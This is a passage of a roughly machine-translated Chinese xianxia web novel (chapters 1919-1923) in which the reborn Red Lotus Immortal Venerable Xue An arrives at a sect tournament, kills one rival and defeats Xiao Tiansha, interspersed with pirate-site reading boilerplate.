Xiao Tiansha was equally angry and flew from the big hole on the roof. In the air, then they have to chase Xue An. But at this moment, a laughter full of gleeful misfortune came from not far away. "Oh, Young Master Xiao, what''s the matter with you? Why do you not eat the banquet properly, but make your face full of murderousness?" Following the voice, I saw several beautiful concubines carrying a soft slave The sky flew over in the distance. Above the soft collapse was Luo Rongjin who smiled so much that he narrowed his eyes. When he saw him, Xiao Tiansha''s expression changed, and even if he said coldly, "Luo Rongjin, you are behind the scenes in this matter?" "What''s the matter? Xiao Tiansha, don''t you? Wrong person, I heard that you are here, and I came here to attend the reception banquet. "Although she said that, the smile on Luo Rongjin''s face was naked and did not conceal it. In fact, if possible, Luo Rongjin really wanted to laugh three times now. Because he knew everything that happened just now at the banquet. Not surprisingly, Luo Rongjin also has his own contacts. Xiao Tiansha''s people were among those who attended this reception banquet. In the scene that just happened, someone secretly broadcasted it to him through the water mirror method. When I saw Xiao Tiansha, who had always been arrogant and domineering, deflated, but couldn''t even say a hard word. Luo Rongjin was almost so happy. "Damn, this kid dared to hurt people in front of me at the banquet. It seems that he is really tough. Even Xiao Tiansha dares to be tough and admire!" Luo Rongjin repeatedly "admired" Tao. After Xue An and Mu Wushuang turned into sword lights and flew away, Luo Rongjin ran over quickly. Because he wanted to laugh at Xiao Tiansha face to face. "The surname is Luo, you let me go now, otherwise don''t blame me for being rude to you!" Xiao Tiansha roared angrily. "Hehe, Xiao, you don''t need to shout loudly, you can do it!" At this, Luo Rongjin sneered, and then looked at the Seventh Elder of Shangqing Mountain with a bad look. "Seventh Elder, the thousand sects of the Profound Society have not yet opened, and people have already fought, what should we do according to the rules?" "This..." The seventh elder suddenly made a difficult situation. "Luo Rongjin, what do you mean?" Xiao Tiansha was almost mad. Why is everyone against him today? Luo Rongjin smiled It��s meaningless, I just want to remind you that the Temple of Slaughter is also here to participate in the Thousand Sect Profound Society. If you dare to do it now, then you have violated the rules and the result will be the result. How, you weigh.... "After that, Luo Rongjin stepped aside and made a gesture of begging. Xiao Tian''s face turned pale, and then he was stunned. Because what Luo Rongjin said was indeed true. If he really went to find it now. The trouble of the Slaughter Temple, then don��t want to participate in this Thousand Sect Profound Society. Although it is secretly proceeding, no one will dare to touch him. But Luo Rongjin��s words are equivalent to giving things to him. It''s on the bright side. Luo Rongjin couldn''t help being even more proud when he saw this. He hehe smiled and said: "So Young Master Xiao, this matter is more serious, or you should weigh it yourself. It seems that I am the wine of today. Can''t drink anymore, goodbye! "After that, he laughed and turned and left. Xiao Tiansha stood there, his face was blue and white, and finally gritted his teeth and said in a deep voice: "Then let you live two more days, and then wait. The Thousand Sect Profound Society of Japan, I am the first one to die! "

 Chapter 1919： 0 Zongxuanhui, open

    After that, he turned and left. This wind reception banquet came to an end in this extremely dramatic way. Then the news spread at a terrifying speed, and everyone who heard it was shocked. "Tsk tusk, the foreign aid invited by the Slaughter Temple this year is really tough. He actually dared to face Gang Xiao Tiansha, and beat Fairy Qianhe, not to mention anything else, just this courage is enough People are admiring." Someone exclaimed. "Hehe, it''s just a fluke. Because of the rules, Young Master Xiao can''t do it now, but after the Thousand Sect Profound Society, I don''t believe this guy can have such good luck!" Someone sneered. "But why don''t I think this thing is so simple? This boy hasn''t been able to find out who he is?" Someone looked suspicious. There is everything to say at a time. And at this moment, in the post of Feihutang, Chu Xiong said solemnly: "Remove all those who are monitoring the Slaughter Temple!" "Young Hall Master, are you not monitoring it?" It will soon cease to exist. What are you still watching?" "Understood!" After his subordinates left, Chu Xiong thought for a long time, and a look of horror appeared in his eyes. He didn''t expect that the young man in white clothes he hadn''t considered at all was so powerful that even Young Master Xiao dared to offend him. But no matter how powerful it is, if you offend Xiao Tiansha, it is equivalent to death! And the originally complicated situation has become even more turbulent because of the storm. But just when the undercurrent is surging. But there was surprisingly calm in the post of Slaughter Temple. Xue An didn''t say anything after receiving Mu Wushuang back, but said indifferently: "Okay, go back and take a good rest. Everything will be discussed at the Thousand Sect Profound Society in the future." Mu Wushuang nodded heavily, and then He turned and left. She didn''t speak during the whole process because she was afraid that she could not help crying again with her mouth open. Xue An looked at her back, smiled faintly, and then turned and left. The following day, the entire Ziwu City was surprisingly calm, and even the Baiyu Tower, which had always been lively and lively every night, became much deserted. Everyone seemed to feel something, even the arrogant monks who were usually arrogant, at this time also obediently hid in their own post and did not dare to show their heads. In this atmosphere, the Thousand Sect Profound Society finally opened! Wait till this day. Countless people who came to watch the excitement have surrounded the Prajna Peak. Even more powerful has established a water mirror array, spreading the scene on Prajna Peak to everywhere in real time. The first to enter are the major sects of Void Dajiao. In fact, there is no strict standard among the heavens to divide the sect. People generally use the two standards of Void Dajiao and Xinghai Dajiao to divide the strength of the sect. The influence of the sect can reach a star field, and those who have a certain reputation in the heavens can be called Void Dajiao. Xinghai Dajiao is much stricter. It means that the influence of the sect has spread to all star regions, and there are at least a few top immortal kings in the door, and even the sect of the ancient immortal emperor. And such sects, even in the heavens, are not many. Therefore, the Thousand Sect Profound Society actually has the most number of descendants of these Void Great Sects. Even so, the strength of these descendants is still good, many have reached the standard of a half-step immortal king, and what is more, only one step is short to enter the realm of the immortal king. At this moment, in front of so many people in the heavens, these people naturally have the meaning of showing off. Therefore, when they appeared on the stage, they were simply brilliant, and the way they appeared on the stage was also varied, including those who stepped on the void, shrank into an inch, and stepped up to the Prajna Peak, and also flew directly to the top of the mountain with wind and thunder. In short, each showed his abilities and attracted the audience''s exclamation. At this moment, I saw two monks, one big and one small, step by step, coming from the sky from afar. "Buddha cultivator! It''s the Buddha cultivator who shot at the Guanyi that night!" Someone recognized Yuantong and Huitong and exclaimed. Many well-informed people narrowed their eyes slightly. "Buddha cultivators never participated in these Thousand Sect Profound Associations in previous years. What happened this year?" "Yes, and both of them are extremely powerful. The one in front is already a golden Buddha!" ??Amidst the comments, Yuantong Hehuitong has already ascended to the top of Prajna Peak. This high platform was built by the great efforts of all the people of Shangqing Mountain. It seems to be unremarkable. You will find that this platform is so vast after you climb it. Yuantong led his younger brother to sit directly in the corner of the ring, and then began to meditate with his eyes closed. This also disappointed many of the descendants of the sect who wanted to go forward and get close. At this moment, the chariot of Feihutang also arrived, and Chu Xiong, the descendant of Feihutang, stepped out of the chariot, and the moment he appeared with great momentum, he attracted many people''s attention. In terms of strength, Feihutang is somewhere between Xukong Dajiao and Xinghai Dajiao, and this Chuxiong has also achieved good results in the last Thousand Sect Profound Association, which naturally attracted many people to exclaim. But he has always been arrogant, but this time he was surprisingly low-key. He didn''t even say a word, but found a corner and sat down. His silence also infected many people. People began to wait silently. Soon, there were more and more people, many of whom were experts from Xinghai University. Many onlookers couldn''t help but marvel upon seeing this. "The scale of this session of the Thousand Sects Profound Conference is much larger than that of the previous one!" As soon as the voice fell, I saw a group of extremely arrogant chariots driving straight to the front of Prajna Peak, and then there was that beautiful maid holding a red carpet from the air. Placed on the ring. Luo Rongjin stepped down from the soft collapse, stepped on the red carpet and stepped onto the ring step by step. This way of playing is simply incredible. But no one dared to show the slightest ridicule. Luo Rongjin glanced at everyone present and couldn''t help snorting coldly. Then someone dragged him to the top of the ring. Luo Rongjin leaned back and waited comfortably finally. Just when the crowd was slightly commotion. A large number of streamers flew straight to the sky above Prajna Peak, and then saw Xiao Tiansha leading many people to the field. His appearance caused a sensation in the audience. "This is the number one of the last Thousand Sect Profound Association, Xiao Tiansha, who was at the top of the jade list!" "His, such a strong momentum!" At this moment, Xiao Tiansha''s face was sinking, with a slight smile on his face. Owe bong. And beside him, is the fairy Qianhe Fu Nianzhi. At this time, Fu Nianzhi, the wound on his face had naturally healed. But somehow, people who have seen the scene of receiving the wind banquet always feel that her charming face is unspeakably awkward. "Is anyone here yet?" Xiao Tiansha said coldly. Although he didn''t say it, people knew who he was asking. Someone shook his head, "Not yet!"

 Chapter 1920： Sudden change

    "They won''t come yet at this time, I don''t think they dare to come!" Someone sneered.


    It was Xie Gaohan, the young host of Qing Hailou, who was not too strong among all the arrogances, but was the most flattering, so Xiao Tiansha valued him very much.


    In this incident, he was naturally on Xiao Tiansha''s side, mocking the Slaughter Temple.


    "Hehe, whether they come or not, they are all dead this time!" Fu Nianzhi said with a bitter expression on his face.


    Although the wound on her face was healed, the unforgettable shame brought her on the verge of madness.


    The anger and killing intent in his heart is almost overflowing.


    When Xie Gaohan heard the words, he was about to give an explanation. At this moment, he saw a bright light flashing, and then Mu Wushuang appeared on the ring.


    Her appearance caused a commotion in the audience.


    "It''s the saint of Slaughter Temple, she actually came."


    "Why is she alone, the foreign aid she was looking for?"


    The crowd talked a lot.


    After seeing Mu Wushuang, Fu Nianzhi''s eyes suddenly burst with infinite resentment light, and said gloomily: "Mu, you really came."


    "Of course I want to come." Mu Wushuang replied coldly.


    Fu Nianzhi looked at her left and right, and sarcastically said: "Why are you alone, your baby foreign aid? Is it because you are afraid? I dare not come?"


    "Of course not, he just delayed something for a while, and he will come over soon."


    Fu Nianzhi sneered, just about to speak.


    Suddenly, a light sigh came from behind Mu Wushuang.


    "Nianzhi, you really are here."


    Following the voice, seeing that the shadow behind Mu Wushuang suddenly began to twist, then a teenager walked out of it.


    It was Cen Yuanhe, the descendant of God Painting Valley.


    At this moment, he is still wearing that shabby moon white gown with a bleak look on his face.


    Fu Nianzhi trembled all over, and the expression on his face instantly became very strange.


    There are surprises, surprises, and guilty conscience.


    "You...how do you..."


    Cen Yuanhe smiled bitterly, "I didn''t expect me to come here! Nianzhi, you were so cruel at the beginning, and you actually left without saying goodbye. Have you forgotten the promise you made to me?"


    As soon as this remark came out, many people appeared confused.


    Because they didn''t understand who this suddenly appeared young man was, and what did it have to do with this fairy Qianhe.


    There was a look of panic in Fu Nianzhi''s eyes, but he still calmly said: "I don''t know what you are talking about, and I don''t know you either!"


    "Don''t know me?" Cen Yuanhe was startled slightly, then shook his head and sighed: "Nianzhi, have you forgotten who kneeled under the mountain gate to worship my teacher gate for a whole month?"


    Fu Nianzhi''s face changed with a sigh.


    Cen Yuanhe took a deep look at her, and then went down and said, "Don��t you forget, in order to obtain the opportunity that should belong to me, to refine my mediocre talent, he personally promised to marry me and be me? Taoist companion?"


    Fu Nianzhi''s face was as pale as paper.


    Cen Yuanhe smiled bitterly, "But I gave you the opportunity, but you suddenly left without saying goodbye after you became a young master. There is no news. Do you think it''s true that you are doing this?"


    boom!


    Cen Yuanhe''s words were no less than a blockbuster, which shocked the audience.


    "What? With that said, this man is actually the fiance of Fairy Qianhe?"


    "Hey! If it''s all true, then this fairy Qianhe would be too scumbag."


    "It''s fun to watch now!"


    Even Mu Wushuang was stunned. She really did not expect that this Cen Yuan and Fu Nianzhi would have such a past.


    At the same time, Xiao Tiansha''s expression was so gloomy that it was dripping with water.


    "Nianzhi, what is going on? Is what he said is true?"


    There was a look of panic in Fu Nianzhi''s eyes, but he still smiled strongly: "Young Master, don''t you want to listen to this man''s nonsense, I am the descendant of the dignified Thousand Crane Palace, how can I bow down to worship his teacher How about a month? He is obviously nonsense!"


    These words seem to make sense.


    At least Xiao Tiansha believed it a little.


    But the expression on Cen Yuanhe''s face became even more sad.


    "Nianzhi, are you still covering up what happened back then? Yes, you are indeed the heir of Qianhe Palace now, but if there is no God Painting Valley, how can you reach the sky in one step?"


    As soon as the three words Shenhuagu came out, the crowd''s commotion became more intense.


    Someone suddenly exclaimed: "I recognized him. He is Cen Yuanhe, he is the descendant of the Tianzong wizard from Shenhuagu! God, he is still alive. It is not rumored that he has fallen because of a demon. Is it?"


    The identity of Cen Yuanhe also made his words more convincing.


    Many people couldn''t help becoming weird when they looked at Fu Nianzhi.


    If what Cen Yuanhe said is true, then this Fu Nianzhi is undoubtedly an ungrateful, downright scum.


    First, he worshipped God''s Painting Valley with ulterior motives, and then deliberately promised the marriage contract in order to seize the opportunity that should belong to others, but finally left without saying goodbye after achieving the goal.


    Anything is very shameless.


    And many people can''t help but suddenly realize.


    No wonder this once amazing young wizard suddenly declined!


    Whoever encounters this kind of thing will be hit hard.


    at the same time.


    Cen Yuanhe looked at Fu Nianzhi with complicated eyes.


    The panic on Fu Nianzhi''s face grew stronger, but for the sake of her future and status, she still gritted her teeth and refused to admit it.


    "It''s really nonsense, I don''t even know you at all, let alone what the marriage contract you are talking about is. This is clearly a trap set by you and the Slaughter Temple."


    Cen Yuanhe saw Fu Nianzhi who was almost hysterical, and there was a touch of pain in his eyes.


    "Nianzhi, do you really want to be so obsessed with it?"


    Fu Nianzhi suddenly froze, but immediately she raised her hand and pointed at Cen Yuanhe, "Blood spurts, kill him!"


    Although the current situation is unclear, after so many years of painstaking efforts by Fu Nianzhi, her words are still very effective.


    At least as soon as this sentence came out someone rushed up beside him, and at the same time grinned: "Where is the kid, dare to talk nonsense here, and die for me!"


    As he said, he raised his hand and took a palm.


    boom!


    Everyone felt that under this palm, the entire ring was filled with boundless waves.


    The coercion made many people slightly discolored.


    It was Xie Gaohan, the young host of Qinghailou who did it.


    I saw the triumphant expression on his face, obviously he was bound to win this palm of his own.


    But Cen Yuanhe''s eyes suddenly burst into bright brilliance, then raised his hand and drew a horizontal line in the air.


    This horizontal is like a continuous mountain, which instantly lay before the boundless waves, blocking the offensive of this palm.


    . Mobile version reading URL:


    The fastest update, please bookmark () for reading without popup.

 Chapter 1921： 1 White clothes wins snow, full of pride like...

    Immediately afterwards, an ugly paintbrush suddenly appeared in Cen Yuanhe''s other hand.


    Cen Yuanhe held a pen in his hand and drew in the air quickly.


    The speed is dazzling.


    In an instant, a mighty ghost and **** appeared in mid-air.


    When Cen Yuan and the last touch of pen touched two points in the eyes of the ghost, the ghost suddenly began to swell rapidly, and the power of the body also increased.


    In the blink of an eye, the deity who was just a painting appeared alive in front of everyone.


    This very mysterious scene stunned everyone.


    Someone murmured softly with a dull expression, "If the writing comes true, if there is divine help! Has the strength of this Cen Yuanhe actually reached this level?"


    at the same time.


    This Xie Gaohan was also shocked, but immediately he calmed down, "It''s just a mere illusion, and dare to be presumptuous in front of me and die for me!"


    As he said, he slapped it again.


    Qinghailou''s intensive cultivation of water system Taoism, this palm is more of its essence, and it seems that there is a huge sea smashing down, which is awe-inspiring.


    But Cen Yuanhe didn''t even blink his eyelids.


    Because at this moment, the **** of young crop fangs suddenly roared, and then a trident appeared in his hand, and then he stabs forward.


    puff!


    The two collided, and Xie Gaohan snorted, and was directly shaken out of the distance, and the boundless sea power also dispersed.


    But this **** obviously did not let go of his plan, and suddenly took a step forward, roared, and smashed with a halberd.


    Xie Gaohan was now shocked to the point that his whole body was surging with blood, and he was unable to avoid it. He could only watch the halberd stabbing at him, and his eyes could not help but appear astonished.


    But at this moment, Xiao Tiansha, who had been standing by and silent, suddenly shot.


    I saw him suddenly stretched out his hand, grabbed the trident, and then coldly shouted: "Dare to hurt people in front of my face, do you really think I''m squeezed?"


    Following the voice, his hand suddenly hardened.


    Bang!


    This trident was crushed by Shengsheng, and then Xiao Tiansha''s other hand was directly printed on the chest of the god.


    The **** screamed, and then was directly blasted into powder with a crisp sound of khaka.


    Cen Yuanhe turned pale and couldn''t help but stepped back.


    Xiao Tiansha walked forward with a murderous expression on his face.


    But at this moment, Luo Rongjin, who had been watching a good show next to him, suddenly laughed.


    "Xiao Tiansha, you do not comply with the rules!"


    Xiao Tiansha suddenly turned around, staring at Luo Rongjin, gritted his teeth and said: "Luo Rongjin, it''s you again. Last time you said I was not in compliance with the rules, I recognized it. Now the Thousand Sects Profound Association has been held, where am I not in compliance anymore. ?"


    Luo Rongjin smiled, his heart was almost full of joy.


    What he likes most is seeing Xiao Tiansha eaten up, so he doesn''t get angry when he asks him about it, instead he says with a smile.


    "Yes, the Thousand Sect Profound Association was held, but the ring hasn''t started yet. You are going to hurt people now. It''s not good anyway!"


    "You..." Xiao Tiansha was really stunned.


    Luo Rongjin turned his head and looked at the elders of Shangqingshan in the distance.


    "You said I was right?"


    These elders glanced at each other, and then one of the elders stepped forward and said: "The Lord of the Hall of Fall is right, and the ring has not officially started yet, because there are still people in the Hall of Slaughter."


    Xiao Tiansha was furious, "When will we have to wait? Could it be that if the guy from the Slaughter Temple doesn''t come, we will have to wait one day?"


    "Young Master Xiao calmed down his anger." The elder smiled, then raised his hand to take out a stick of fragrance, lit it and put it on the ground.


    "This has happened in previous years. Naturally, it is impossible for so many people to wait for him, so now as long as this column of fragrance is burned, the Thousand Sect Profound Society can officially begin."


    Huh.


    All the eyes of the audience focused on the delicate fragrance of this column with a smoky smoke.


    Mu Wushuang''s heart instantly became tense.


    Because she didn''t know where Xue An had gone, and she was not sure whether he would come.


    In fact, since last night, Mu Wushuang has never seen Xue An''s shadow.


    He seemed to disappear suddenly, even when he set out in the morning, there was no word from him.


    At that time, Mu Wushuang thought that Xue An was going to do his own business first, and he didn''t care too much.


    Because she believes Xue An will never miss the appointment.


    But by this time, the faith in her heart suddenly wavered.


    Sir, where are you?


    If you can''t arrive before this column of fragrance burns out, then you can''t participate in this Thousand Sect Profound Meeting!


    Mu Wushuang shouted anxiously in his heart, but couldn''t show it on his face, he could only watch silently.


    The fragrance burned down little by little, and it was already halfway through, but there was still no shadow of Xue An.


    The audience began to gradually restless.


    People are even whispering.


    "Hehe, what am I talking about, that kid must not dare to come."


    "Tsk tusk, this Mu Wushuang has been miserable now. Whether he can save his life is still a question!"


    Even Huitong, who had been meditating cross-legged in the corner, couldn''t help but say at this time: "Brother, Guren-sama, isn''t it really going to stop here?"


    Yuantong smiled and didn''t even open his eyes. "Don''t worry, as long as Mr. Gulian promises, he will definitely do it."


    at the same time.


    Looking at Mu Wushuang who was pale, Fu Nianzhi suddenly giggled.


    "Mu Wushuang, what do you want me to say about you? Isn''t it okay to admit defeat? I have to believe in a brat who doesn''t know where he popped out. It''s all right now, and even I''ve been taken in. Do you think it''s worth it? ?"


    Mu Wushuang''s face sank like water, without a word, just staring at that Zhu Qingxiang.


    The incense gradually burned out, and her heart rose to her throat.


    Finally, seeing that there was only the last trace of the fragrance, the elders of Shangqingshan nodded to each other, and then one of them took a step forward and opened his mouth.


    "The incense has burned out, I declare that the Thousand Sect Profound Society is now..."


    The beginning of the next word has not been said yet.


    A wisp of white feathers of sword light swept across the air at an extremely fast speed, and then cut off the pillar of fragrance on the ground.


    Immediately after I heard a calm voice coming from far away.


    "Don''t worry, I''m here!"


    Words fall.


    A white light crashed down, and after the light dissipated, it was Xue An, who was dressed in a white suit and was full of pride and pride.


    His appearance made the audience quiet and even shaken.


    "I''m coming!"


    "Fuck, no matter how strong this kid is, he is really brave!"


    In exclamation.


    Xue An''s eyes flicked across the faces of everyone present, and then smiled slightly.


    "Sorry, some trivial matters have been delayed, so you have to wait a long time! But now... the game can start!"


    . Mobile version reading URL:


    The fastest update, please bookmark () for reading without popup.

 Chapter 1922： Come and not be indecent!

    Xue An''s careless attitude caused a commotion in the audience.


    Xiao Tiansha''s gang of fans were even more furious and shouted.


    "Dare to be so presumptuous in front of the young master, it''s really looking for death."


    "Yes, I''ve seen him unpleasantly a long time ago, let him kill him first!"


    Xiao Tiansha also looked at Xue An with a deep face, and suddenly waved his hand, and the group of people behind him immediately calmed down.


    Then Xiao Tiansha said coldly: "It seems you are very confident in yourself!"


    Xue An smiled slightly, "I have always been confident in myself."


    Xiao Tiansha coldly snorted, "Then I will wait and see, I hope you can be so calm and relaxed later."


    After that, Xiao Tiansha glanced at the elders of Shangqing Mountain in the distance.


    These people understood their minds, and someone immediately shouted: "The Thousand Sect Profound Society, officially begins!"


    boom!


    Following his order, countless luminosity rose up into the sky along the circumference of the ring, and then burst into the sky, turning into brilliant fireworks.


    And the atmosphere of the audience has reached a climax because of this.


    Whether present or not, people are all looking forward to seeing this rare event in a century through various means.


    Above the ring, the situation became chaotic in an instant.


    The rule of the Thousand Sects Profound Society is to fight separately. If you feel that you are strong enough, it is not impossible to directly challenge the previous overlord.


    Of course, anyone with a slightly normal mind will not do that.


    After all, it is no different from looking for death.


    What''s more, this session of the Thousand Sect Profound Society is different from the past. Xiao Tiansha, the number one in the jade list, is obviously already in anger, and staring at Xue An on the opposite side, and then stepped forward, ready to do it.


    Seeing a big battle is about to break out.


    But at this moment, a tall figure suddenly jumped out from behind Xiao Tiansha, and shouted loudly: "Young master, step back first, let me clean up this kid!"


    Before he finished his words, this person rushed to Xue An, and then said grimly: "Boy, today is your death date!"


    As he said, he raised his hand, the thunder faint in his palm, and then he patted it off.


    When Xiao Tiansha saw this scene, his heart moved slightly, and then he stopped.


    The person who did it was Lei Yang, the young hall master of Leihuosha. He usually has a good relationship with him, and this person is extremely strong, far surpassing the previous Qinghailou��s Xie Gaohan, and is ranked on the jade list. The seventeenth master.


    Moreover, this person has a violent temperament and loves to fight very much. Since he is now taking action, it is just right for him to explore the details of the young man in white.


    It would be even better if the boy in white could be cleaned up.


    Holding these thoughts, Xiao Tiansha couldn''t help but stand in place and watch with cold eyes.


    Leihuosha, as the name suggests, is a sect that is proficient in thunder system.


    This Lei Yang was young, but he was already half a step away from the power of the Immortal King, and his cultivation of Thunder Dao was unfathomable.


    When this palm fell, even the world seemed to tremble.


    Xue An didn''t dodge, just watched with a smile.


    Seeing that his palm was about to hit Xue An, Lei Yang couldn''t help showing a look of hideous and happy expression on his face.


    To dare to be so big, not even to hide, is really looking for death.


    To know the power of this palm of oneself, even the fairy king would not dare to grab its front lightly.


    But when the palm of the hand touched Xue An''s clothes, Xue An suddenly let out a breath.


    That''s right!


    It''s a literal breath.


    But with this tone, the thunder light attached to Lei Yang''s palm was like a candle in the wind, shaking for a few times, and then... extinguished.


    Lei Yang was shocked and couldn''t believe his eyes.


    No one has ever been able to crack his own minecraft in this way.


    This is simply incredible.


    And just after Leiyang''s stunned effort, Xue An smiled faintly, "It seems that your thunder light is not very useful!"


    Following the voice, seeing Xue An stretched out his hand, he directly grabbed Lei Yang''s two shoulders.


    Lei Yang was shocked and wanted to break free.


    But how could Xue An give him this opportunity, but seeing Xue An smile coldly.


    "Come and not be indecent, since you just wanted to kill me, then I will send you on the road now."


    After all, Xue An shook his arms, and the majestic force directly tore Lei Yang''s body.


    Lei Yang was almost frightened, because he was extremely horrified to discover that all his strength had been suppressed by life, which meant that he was now just like an ordinary person.


    How could this not make him frightened, and the intense pain that was torn to both sides made him faint, and he couldn''t help hissing and screaming, "Ah, Xiao Shao, save me!"


    As soon as I uttered my words, and only heard a muffled sound, the Lei Yang was torn in half by Xue An abruptly.


    The blood was mixed with internal organs, and the thick **** aura spread instantly, shocking the entire arena. Many of the Zongmen Tianjiao who were fighting couldn''t help holding their hands, looking at this scene with horror. .


    Then Xue An lightly patted the slap, and said lightly: "How is this a good start?"


    With that said, Xue An took a step forward and directly stepped on the spirit of Lei Yang who had just emerged from his body.


    Click.


    Leiyang''s spirit screamed, and then it shattered, and the spirit was destroyed.


    These decisive and ruthless methods made the gang of Tianjiao experts accustomed to life and death couldn''t help but be speechless.


    Xiao Tiansha''s eyes shrank instantly to the size of a needle.


    He thought that even if Lei Yang lost to Xue An, he would be able to support a few tricks so that he could find out his details.


    However, he did not expect that Lei Yang could not even survive a move, and was torn in half by Xue An, and even the soul was trampled out.


    This kind of strength made Xiao Tiansha''s heart sink, and his face became extremely solemn.


    "who are you?"


    "Me?" Xue An raised his eyebrows slightly, smiling but not smiling: "I am the foreign aid invited by the Slaughter Temple, did you forget?"


    "Impossible! With the strength of the Slaughter Temple, how could it be possible to invite a master like you, let''s say, who are you? What are you doing here?" Xiao Tiansha asked in a deep voice.


    Xue An''s mouth gradually burst into a smile, "Since you want to ask so much then I will tell you, my name is Xue An!"


    Xue An?


    The name spread throughout the audience, making many people startled. They always felt that the name was very familiar, but suddenly they couldn''t remember where they heard it.


    Suddenly, someone remembered something, and screamed, "Red Lotus Immortal Venerable, he is the reborn Red Lotus Immortal Venerable!"


    boom!


    This sentence was like a blockbuster bomb, and the entire audience was overthrown.


    Xiao Tiansha paled even more, "Are you really the Red Lotus Immortal?"


    Xue An smiled and nodded, "If there is no double name and surname, you should be me!"


    With the voice, Xue An''s momentum suddenly changed, from the previous elegance and peace to an instant violent.


    Here is a dollar and the sunshine reminds you: after you look at it, please collect it (), and then it will be more convenient to watch.


    The fastest update, please bookmark () for reading without popup.

 Chapter 1923： Come forward and lead to death, Im in a hurry

    And under the mighty power of this stormy sea, Xue An''s face also changed slightly.


    In an instant, Xue An showed his original face, and the violent power was overwhelming, covering the entire Prajna Peak.


    The audience was shocked, and everyone was horrified.


    No one expected such a dramatic change in things.


    A white-clothed young man who thought he was ordinary, his true identity was the number one person in the heavens, the reincarnated and rebuilt immortal master.


    At the same time, a woman in the crowd stared at Xue An on the stage blankly, her whole body was shaken into a ball.


    After hearing Xue An confess her identity, the woman burst into tears, and then choked up and said: "My lord...It''s really you, I didn''t guess wrong!"


    That''s right!


    This woman is the former oiran Gong Yunjun of Baiyulou.


    She has been hiding in the Purple Mist City for this period of time. Until today, the Thousand Sect Profound Society was opened, and she sneaked in among the crowd of onlookers.


    The reason is that she has always faintly felt that the white-clothed boy in the Slaughter Temple must be inextricably linked to Lord Honglian.


    That''s why she took a huge risk to see what was going on.


    At this moment, Xiao Tiansha gradually recovered his sobriety, and then reduced the anger in his eyes, and said in a deep voice, "It turns out to be the prestigious Lord Red Lotus, disrespectful!"


    With that, he clasped his fists.


    Xue An remained unmoved, but looked at him quietly.


    At this time, Xiao Tiansha went on and said, "Master Honglian, since you are here in person, the previous matter will be cancelled. What do you think?"


    Xiao Tiansha felt that he had shown his utmost sincerity.


    You must know that Xue An used to humiliate her own woman in front of her, and now kills the young master of Leihuosha. This is a terrifying event on anyone.


    It was enough to give Xue An a lot of face by saying that he didn''t care.


    But don��t think that Xiao Tiansha was so kind. In fact, after hearing Xue An��s identity, he secretly passed the news out immediately, so he will do this now, in order to get Xue An first. Give stability.


    But he counted thousands of things, except Xue An''s reaction was not counted.


    Xue An smiled slightly, "Oh? Don''t care about it?"


    "Yes! In your capacity, these things are not a big deal!" Xiao Tiansha chuckled lightly.


    "But what if I care about it?" Xue An suddenly said coldly.


    The smile on Xiao Tiansha''s face instantly stiffened.


    Xue An lightly pointed to Mu Wushuang behind him, "She is my friend, but she was wantonly humiliated by the woman behind you, and even slapped her, how is this account calculated?"


    Fu Nianzhi almost vomited blood when he heard this.


    Obviously, I have slapped myself ten times before, but now my old account has been raised again, so I am still asking how?


    But the situation is stronger than that of people. Even if Fu Nianzhi is arrogant and domineering, he still understands what the two words Xue An mean, so he dare not even say a word, and can only look pale.


    At this moment, Xiao Tiansha''s eyes flashed fierce and anger, then suddenly turned his head, raised his hand and slapped Fu Nianyi.


    This slapped fan was extremely ruthless, and directly flew Fu Nianzhi out.


    Fu Nianzhi thought with infinite sorrow in mid-air, that he must have been a fleeting misfortune recently, otherwise, why would anyone have trouble with his face?


    After fanning Fu Nianzhi, Xiao Tiansha turned his head and said with a deep face, "Master Honglian, what do you think of this explanation?"


    The audience was deadly quiet.


    Everyone can hear the suppressed anger in Xiao Tiansha''s words.


    At the same time, everyone can feel the monstrous power of Xue An.


    In the face of this kind of scene, even if you are the peerless arrogant of Xinghai Dajiao, you will be frightened and afraid to say anything.


    Xue looked at Xiao Tiansha quietly, and suddenly chuckled after a long while.


    "I remember you just asked, why am I here. I can tell you now."


    Xue An''s tone became deep, "I''m here... to kill you."


    As soon as this remark came out, the audience shook, and Xiao Tiansha was even more furious.


    "Xue, don''t toast or eat fine wine!"


    Xue An gently fiddled with his fingers, without even lifting his head, "Sorry, I have a weird temper. I don''t want to eat for toasts, and I don''t want to eat for fines!"


    Xiao Tiansha finally couldn''t hold back, "Don''t think I''m really afraid of you. You were really powerful in your last life, but that was your last life after all, and in this life... I am not necessarily worse than you!"


    When the words fell, Xiao Tiansha''s eyes were full of excitement, and the unspeakable violent power surged out, directly forming a court of resistance against Xue An''s power.


    "The Immortal King! Young Master Xiao has actually been promoted to the Immortal King powerhouse!" Someone who doesn''t know Xiao Tiansha''s details could not help exclaiming.


    Xiao Tiansha looked at Xue An, and Jiejie sneered: "The surname Xue, I have been suppressing my strength to wait for this moment. Don''t think you can escape, because today will be your death day in the coming year."


    After all, Xiao Tiansha laughed loudly.


    Because he just received a reply from Shimen in the sea of ??knowledge.


    Several Zhenshan elders were rushing here frantically and asked Xiao Tiansha to try his best to delay time.


    But before his laughter came down, Xue An raised his eyebrows slightly, "Are you finished? Step forward and lead you to death when you are finished, I''m in a hurry."


    "court death!"


    You must know that Xiao Tiansha is now recognized as the first person among the young generations of the heavens. In the last Thousand Sect Profound Association, he was even more prominent and won the jade list.


    Coupled with his noble status, he has already developed his domineering character.


    Now he has endured for so long, even hesitating to beat his own woman, but Xue An is "aggressive".


    So at this moment, he finally broke out.


    I saw a golden wheel suddenly appeared behind Xiao Tiansha''s head, and then turned into two into four in the air...


    In an instant, the ring was covered by dense golden wheels.


    Then Xiao Tian gave a grinning grin, "Give me to die!"


    boom!


    Jinlun turned into a torrent and came straight to Xue An.


    Xue An''s eyes condensed slightly, and then he smiled coldly, "It''s a good come, but unfortunately, it''s too weak!"


    After that, Xue An took a deep breath, then shook his palms into a fist, took a step forward, and blasted a punch.


    Boom!


    This is a loud noise that shakes the entire Prajna Peak. UU Reading www.uukANAshu.com


    Then I watched the field again, but saw that the golden wheel all over the sky was turned into fragments at the same time, and Xue An''s fist was only halfway out.


    Xiao Tiansha was shocked, just about to dodge.


    Xue An said coldly: "You are the second one!"


    After all, the fist is like a dragon, and hit Xiao Tiansha directly.


    Seeing that it was inevitable, Xiao Tiansha couldn''t help but roar, and then bit his head and greeted him.


    Bang!


    There was another loud noise, and then Xiao Tiansha flew upside down like a kite with a broken line, leaving a blood line in the air.


    In an instant, the audience was silent.


    Xue An retracted his fist and said indifferently, "What can I do if I really think of the Immortal King? In my eyes, it is still just an ant!"


    The fastest update, please bookmark () for reading without popup.

 Chapter 1924： Punish the golden body

